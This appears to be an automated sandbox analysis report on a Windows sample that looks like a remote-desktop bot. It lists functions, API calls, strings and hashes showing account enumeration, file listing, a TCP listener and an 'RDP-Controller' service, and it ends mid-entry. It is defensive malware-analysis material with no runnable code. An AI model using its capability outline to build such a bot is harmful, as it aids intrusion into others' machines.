Instruction ID: a693a40f9b44a14af97dd645d4e22728049b8ee99a4f0bee69c5beac8772fcd9
Opcode Fuzzy Hash: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
Instruction Fuzzy Hash: 62F06D67808F8482D2119F19E8406ABB370FF9E389F645726EBC926668DF2DD5228700

Function 00007FF70489A72B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF70489A72B
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction ID: c7f659212fad4d9515d1e7930b1784064836ff05a0826d9cfc923daee52bb887
Opcode Fuzzy Hash: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction Fuzzy Hash: B4F06D67808F8482D2119F19E8406ABB370FF9E389F645726EBC926668DF3DD5228700

Function 00007FF70489A722 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D
Total loss of significance (TLOSS), xrefs: 00007FF70489A722

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction ID: b0372e98b2bb340b9e4a89bfd6f433199ac907dd8596c4db958e8bccaaf41090
Opcode Fuzzy Hash: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction Fuzzy Hash: 05F06D67808F8482D2119F19E8406ABB370FF9E389F645726EBC926668DF2DD5628700

Function 00007FF70489A719 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

Partial loss of significance (PLOSS), xrefs: 00007FF70489A719
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction ID: 235d3d3d65da40c2969a59d22fad221ccdc94dba7fac17105d334b65224917ae
Opcode Fuzzy Hash: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction Fuzzy Hash: AFF06D67808F8482D2119F19E8406ABB370FF9E389F645726EBCD26668DF2DD5228710

Function 00007FF70489A734 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF70489A78A

Strings

Argument singularity (SIGN), xrefs: 00007FF70489A734
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF70489A77D

Memory Dump Source

Source File: 0000000B.00000002.2315960449.00007FF704891000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF704890000, based on PE: true

Associated: 0000000B.00000002.2315909031.00007FF704890000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2315982129.00007FF7048A1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316051356.00007FF7048A2000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316590597.00007FF7048AA000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316938857.00007FF7048AC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.2316959480.00007FF7048AF000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff704890000_hstmhco83f64lehv4q0wbzqj3o.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction ID: cc0c3280b690b3a5492972b510ec3d4c2158797aafa69587b0ac0dc0ed01c6b9
Opcode Fuzzy Hash: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction Fuzzy Hash: E6F06D67808F8482D2019F19E4406ABB370FF9E789F605726EFC826668DF2DD5228700

Analysis Process: main.exePID: 1524, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 00007FF8B91538C3 Relevance: 54.6, APIs: 23, Strings: 8, Instructions: 332
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
GetLastError.KERNEL32 ref: 00007FF8B91539DE
LocalAlloc.KERNEL32 ref: 00007FF8B9153A0D
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153A49
LocalFree.KERNEL32 ref: 00007FF8B9153A56
GetLastError.KERNEL32 ref: 00007FF8B9153A61

Part of subcall function 00007FF8B9151292: EnterCriticalSection.KERNEL32 ref: 00007FF8B9151363
Part of subcall function 00007FF8B9151292: LeaveCriticalSection.KERNEL32 ref: 00007FF8B915138B
Part of subcall function 00007FF8B9151292: CopyFileA.KERNEL32 ref: 00007FF8B91513E8

GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B91538CD, 00007FF8B9153D76
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7, 00007FF8B91539F3, 00007FF8B9153A73
[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x), xrefs: 00007FF8B9153BC4
mem_alloc, xrefs: 00007FF8B91538C6, 00007FF8B9153D6F
D, xrefs: 00007FF8B9153915
users_sync, xrefs: 00007FF8B91539A0, 00007FF8B91539EC, 00007FF8B9153A6C, 00007FF8B9153BBD
sid_to_str, xrefs: 00007FF8B9153BDE
[E] (%s) -> ConvertSidToStringSid failed(gle=%lu), xrefs: 00007FF8B9153BE5

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: AllocErrorLastLocal$AccountCriticalHeapLookupNameSection$CopyEnterFileFreeLeaveProcessfflushfwritewcsncpy
String ID: D$[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x)$[E] (%s) -> ConvertSidToStringSid failed(gle=%lu)$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$sid_to_str$users_sync
API String ID: 3624467404-104752423
Opcode ID: 2c065d011c9ab7030f9672b503886fd27cb0c5ffb7622794d5e0c854782d74c2
Instruction ID: f97704ef0d59d11db3e2192d24c36f60657465927338c1e70d9870f31ebe3acd
Opcode Fuzzy Hash: 2c065d011c9ab7030f9672b503886fd27cb0c5ffb7622794d5e0c854782d74c2
Instruction Fuzzy Hash: 26F15762A08A82C7EB608F1CE45437963A1EB85BD4F564036DB4E87398DF3DF846E741

Function 00007FF8BA504013 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32 ref: 00007FF8BA504059
strcpy.MSVCRT ref: 00007FF8BA504074
FindFirstFileA.KERNEL32 ref: 00007FF8BA504147
GetLastError.KERNEL32 ref: 00007FF8BA504163
GetLastError.KERNEL32 ref: 00007FF8BA504192
FindClose.KERNEL32 ref: 00007FF8BA5041B0

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

Strings

fs_dir_list, xrefs: 00007FF8BA5040B0, 00007FF8BA5040E8, 00007FF8BA504120, 00007FF8BA50417D, 00007FF8BA5041C1
(path != NULL), xrefs: 00007FF8BA5040A9
[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BA504184
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF8BA5040A2, 00007FF8BA5040DA, 00007FF8BA504112
(resume_handle != NULL), xrefs: 00007FF8BA504119
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA5040B7, 00007FF8BA5040EF, 00007FF8BA504127
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF8BA5041C8
(name != NULL), xrefs: 00007FF8BA5040E1

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNextfflushfwritestrcpy
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 4253334766-243243391
Opcode ID: 329fdf8127f5f1158765810408fb89e91592730f77661986c47c59f41f2ff3fe
Instruction ID: bd2bdf33e10122a31ea8cb8447283695a2e6f47b78ec05a44b7e4fa42167a1b4
Opcode Fuzzy Hash: 329fdf8127f5f1158765810408fb89e91592730f77661986c47c59f41f2ff3fe
Instruction Fuzzy Hash: 51611DB5E0C683D5FB305ADDAC803B92260AF533D4F4451B2EE6E5A2E4DE2CBB458341

Function 00007FF708871CF3 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 159fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNELBASE ref: 00007FF708871D39
_mbscpy.MSVCRT ref: 00007FF708871D54
FindFirstFileA.KERNEL32 ref: 00007FF708871E27
GetLastError.KERNEL32 ref: 00007FF708871E43
GetLastError.KERNEL32 ref: 00007FF708871E72
FindClose.KERNEL32 ref: 00007FF708871E90

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

Strings

[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu), xrefs: 00007FF708871E64
(name != NULL), xrefs: 00007FF708871DC1
(path != NULL), xrefs: 00007FF708871D89
[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu), xrefs: 00007FF708871EA8
(resume_handle != NULL), xrefs: 00007FF708871DF9
fs_dir_list, xrefs: 00007FF708871D90, 00007FF708871DC8, 00007FF708871E00, 00007FF708871E5D, 00007FF708871EA1
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF708871D82, 00007FF708871DBA, 00007FF708871DF2
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF708871D97, 00007FF708871DCF, 00007FF708871E07

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Find$ErrorFileLast$CloseFirstNext_mbscpyfflushfwrite
String ID: (name != NULL)$(path != NULL)$(resume_handle != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> FindFirstFileA failed(path=%s,gle=%lu)$[E] (%s) -> FindNextFileA failed(path=%s,gle=%lu)$fs_dir_list
API String ID: 1094913617-243243391
Opcode ID: af09da903b14395032e1ba6ca3dae6091f92bbea98b1b9bcb7bdc89db381bd11
Instruction ID: cad9f485647c6ec14708d7541b60ed351917eef922ed8a74d1aeea2051f6efce
Opcode Fuzzy Hash: af09da903b14395032e1ba6ca3dae6091f92bbea98b1b9bcb7bdc89db381bd11
Instruction Fuzzy Hash: 36613E2AE3D95385FB60FA149C48BB8F260AF10358FD40133D85E57AD1DF2CE9A58369

Function 00007FF8B915387F Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 167memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B91537E7
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B91537F8
Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B915380C
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B915381D
Part of subcall function 00007FF8B915379F: LocalFree.KERNEL32 ref: 00007FF8B9153831
Part of subcall function 00007FF8B915379F: LocalFree.KERNEL32 ref: 00007FF8B9153839
Part of subcall function 00007FF8B915379F: GetProcessHeap.KERNEL32 ref: 00007FF8B915384D
Part of subcall function 00007FF8B915379F: HeapFree.KERNEL32 ref: 00007FF8B915385E

NetApiBufferFree.NETAPI32 ref: 00007FF8B9153D97
NetUserEnum.NETAPI32 ref: 00007FF8B9153E0D
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E4B
HeapAlloc.KERNEL32 ref: 00007FF8B9153E5C
memcpy.MSVCRT ref: 00007FF8B9153E99
GetProcessHeap.KERNEL32 ref: 00007FF8B9153E9E
HeapFree.KERNEL32 ref: 00007FF8B9153EAF

Strings

[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B91538AD
[E] (%s) -> NetUserEnum failed(enum_err=%08lx), xrefs: 00007FF8B9153F27
[I] (%s) -> Done(sam_user_num=%u), xrefs: 00007FF8B9154038
mem_alloc, xrefs: 00007FF8B91538A6
users_sync, xrefs: 00007FF8B9153EF7, 00007FF8B9153F20, 00007FF8B9154031
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8B9153EFE

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: Heap$Free$Process$Local$AllocBufferEnumUsermemcpy
String ID: [E] (%s) -> Failed(err=%08x)$[E] (%s) -> Memory allocation failed(size=%llu)$[E] (%s) -> NetUserEnum failed(enum_err=%08lx)$[I] (%s) -> Done(sam_user_num=%u)$mem_alloc$users_sync
API String ID: 1361071942-3382179125
Opcode ID: 12def299df3458bcfa48338576adbcb56069ab18652fada285a8cab9ade52bd0
Instruction ID: d1b092fe55e559ef2bf61db313e48846db6f1cf5b48348ad783265ac7f33d98f
Opcode Fuzzy Hash: 12def299df3458bcfa48338576adbcb56069ab18652fada285a8cab9ade52bd0
Instruction Fuzzy Hash: 23619322A0C6C796FA219F0CE84037962A1AF857D4F664036DB4D476D0EE3EF886F711

Function 00007FF8BFAB15FA Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 89networkCOMMON

Download Yara Rule

APIs

socket.WS2_32 ref: 00007FF8BFAB1618
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1702

Part of subcall function 00007FF8BFAB152A: setsockopt.WS2_32 ref: 00007FF8BFAB155A

htonl.WS2_32 ref: 00007FF8BFAB164A
htons.WS2_32 ref: 00007FF8BFAB165B
bind.WS2_32 ref: 00007FF8BFAB1674
listen.WS2_32 ref: 00007FF8BFAB1689
WSAGetLastError.WS2_32 ref: 00007FF8BFAB169A

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

WSAGetLastError.WS2_32 ref: 00007FF8BFAB16C4

Strings

[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFAB16B6
[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u), xrefs: 00007FF8BFAB174E
[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFAB171A
[E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d), xrefs: 00007FF8BFAB16E0
tcp_listen, xrefs: 00007FF8BFAB16AF, 00007FF8BFAB16D9, 00007FF8BFAB1713, 00007FF8BFAB1747

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLast$bindfflushfwritehtonlhtonslistensetsockoptsocket
String ID: [E] (%s) -> bind failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> listen failed(sock=0x%llx,host=%08x,port=%u,WSAgle=%d)$[E] (%s) -> socket failed(host=%08x,port=%u,WSAgle=%d)$[I] (%s) -> Done(sock=0x%llx,host=%08x,port=%u)$tcp_listen
API String ID: 3590747132-3524496754
Opcode ID: 9ea2081c4a1fdd313a523ca3c587639682e00fdbf96388af516a9823ae8be453
Instruction ID: c24fae04fa2e60828a87f49197b46eb6a80401236df1fc03fa6e287cb62acd1d
Opcode Fuzzy Hash: 9ea2081c4a1fdd313a523ca3c587639682e00fdbf96388af516a9823ae8be453
Instruction Fuzzy Hash: CC31A861A08A0646E6289BBDA81627577A0AF457FCF043335DF7E477E2EE3DE4498700

Function 00007FF708878C4A Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF708878C62
strcmp.MSVCRT ref: 00007FF708878C75
StartServiceCtrlDispatcherA.ADVAPI32 ref: 00007FF708878CB1
_read.MSVCRT ref: 00007FF708878D07
GetLastError.KERNEL32 ref: 00007FF708878D26

Part of subcall function 00007FF7088788EE: FreeLibrary.KERNEL32(?,?,00000000,000001B9FFF913D0,00007FF708878CDE,?,?,?,?,?,?,00000001,00007FF708878E4A,?,?,00007FF7088884F8), ref: 00007FF70887892F
Part of subcall function 00007FF7088788EE: GetProcessHeap.KERNEL32(?,?,00000000,000001B9FFF913D0,00007FF708878CDE,?,?,?,?,?,?,00000001,00007FF708878E4A,?,?,00007FF7088884F8), ref: 00007FF708878962
Part of subcall function 00007FF7088788EE: HeapFree.KERNEL32(?,?,00000000,000001B9FFF913D0,00007FF708878CDE,?,?,?,?,?,?,00000001,00007FF708878E4A,?,?,00007FF7088884F8), ref: 00007FF708878973

Part of subcall function 00007FF7088789AA: GetProcessHeap.KERNEL32(?,?,00000000,00007FF708878CE3,?,?,?,?,?,?,00000001,00007FF708878E4A,?,?,00007FF7088884F8,00000000), ref: 00007FF7088789DB
Part of subcall function 00007FF7088789AA: HeapFree.KERNEL32(?,?,00000000,00007FF708878CE3,?,?,?,?,?,?,00000001,00007FF708878E4A,?,?,00007FF7088884F8,00000000), ref: 00007FF7088789EC

Strings

service, xrefs: 00007FF708878C6B, 00007FF708878CC5
[E] (%s) -> No a valid run mode(mode=%s), xrefs: 00007FF708878E12
[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu), xrefs: 00007FF708878D38
standalone, xrefs: 00007FF708878C58
RDP-Controller, xrefs: 00007FF708878C82
main, xrefs: 00007FF708878D31, 00007FF708878E0B

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: Heap$Free$Processstrcmp$CtrlDispatcherErrorLastLibraryServiceStart_read
String ID: RDP-Controller$[E] (%s) -> No a valid run mode(mode=%s)$[E] (%s) -> StartServiceCtrlDispatcherA failed(GetLastError=%lu)$main$service$standalone
API String ID: 3617873859-308889057
Opcode ID: 632fe087bb1aecd27532cf3bc7a0e494a42c5e1ffc9089c655d61d3dd8c330ec
Instruction ID: 2a1bc7ac514cd4760a71e6a8a3566bccf4914a20d6ebca4e60d1f52ec6ea1e9d
Opcode Fuzzy Hash: 632fe087bb1aecd27532cf3bc7a0e494a42c5e1ffc9089c655d61d3dd8c330ec
Instruction Fuzzy Hash: F6513B21E2D60381FA60F714AC88BB9D2B0AF59744FD41432D50E466E2DF5DE8E4873E

Function 00007FF708871131 Relevance: 13.6, APIs: 9, Instructions: 120sleepstringCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,00007FF708871313), ref: 00007FF70887116E
_amsg_exit.MSVCRT(?,?,?,00007FF708871313), ref: 00007FF70887118D
_initterm.MSVCRT ref: 00007FF7088711AE
_initterm.MSVCRT ref: 00007FF7088711D3
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF708871313), ref: 00007FF708871212
malloc.MSVCRT ref: 00007FF708871244
strlen.MSVCRT ref: 00007FF70887125C
malloc.MSVCRT ref: 00007FF708871268
_cexit.MSVCRT(?,?,?,00007FF708871313), ref: 00007FF7088712E3

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: _inittermmalloc$ExceptionFilterSleepUnhandled_amsg_exit_cexitstrlen
String ID:
API String ID: 3714283218-0
Opcode ID: 423c7fadebe407afcbf8f11926be5113ac1f50ee7c1d89c8a253cd586a538a4a
Instruction ID: 681d692235112c379164a904fae75d47fe6108224ba65d87b6be7bc68f26e93d
Opcode Fuzzy Hash: 423c7fadebe407afcbf8f11926be5113ac1f50ee7c1d89c8a253cd586a538a4a
Instruction Fuzzy Hash: 8D511A25A28A47C5EA51FB11EC54A79F3A0AF48B84F844435D90D8B7D1EF3CE4A0832C

Function 00007FF8B9152A1A Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 50networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 00007FF8B9152A42
WSAGetLastError.WS2_32 ref: 00007FF8B9152A5C

Strings

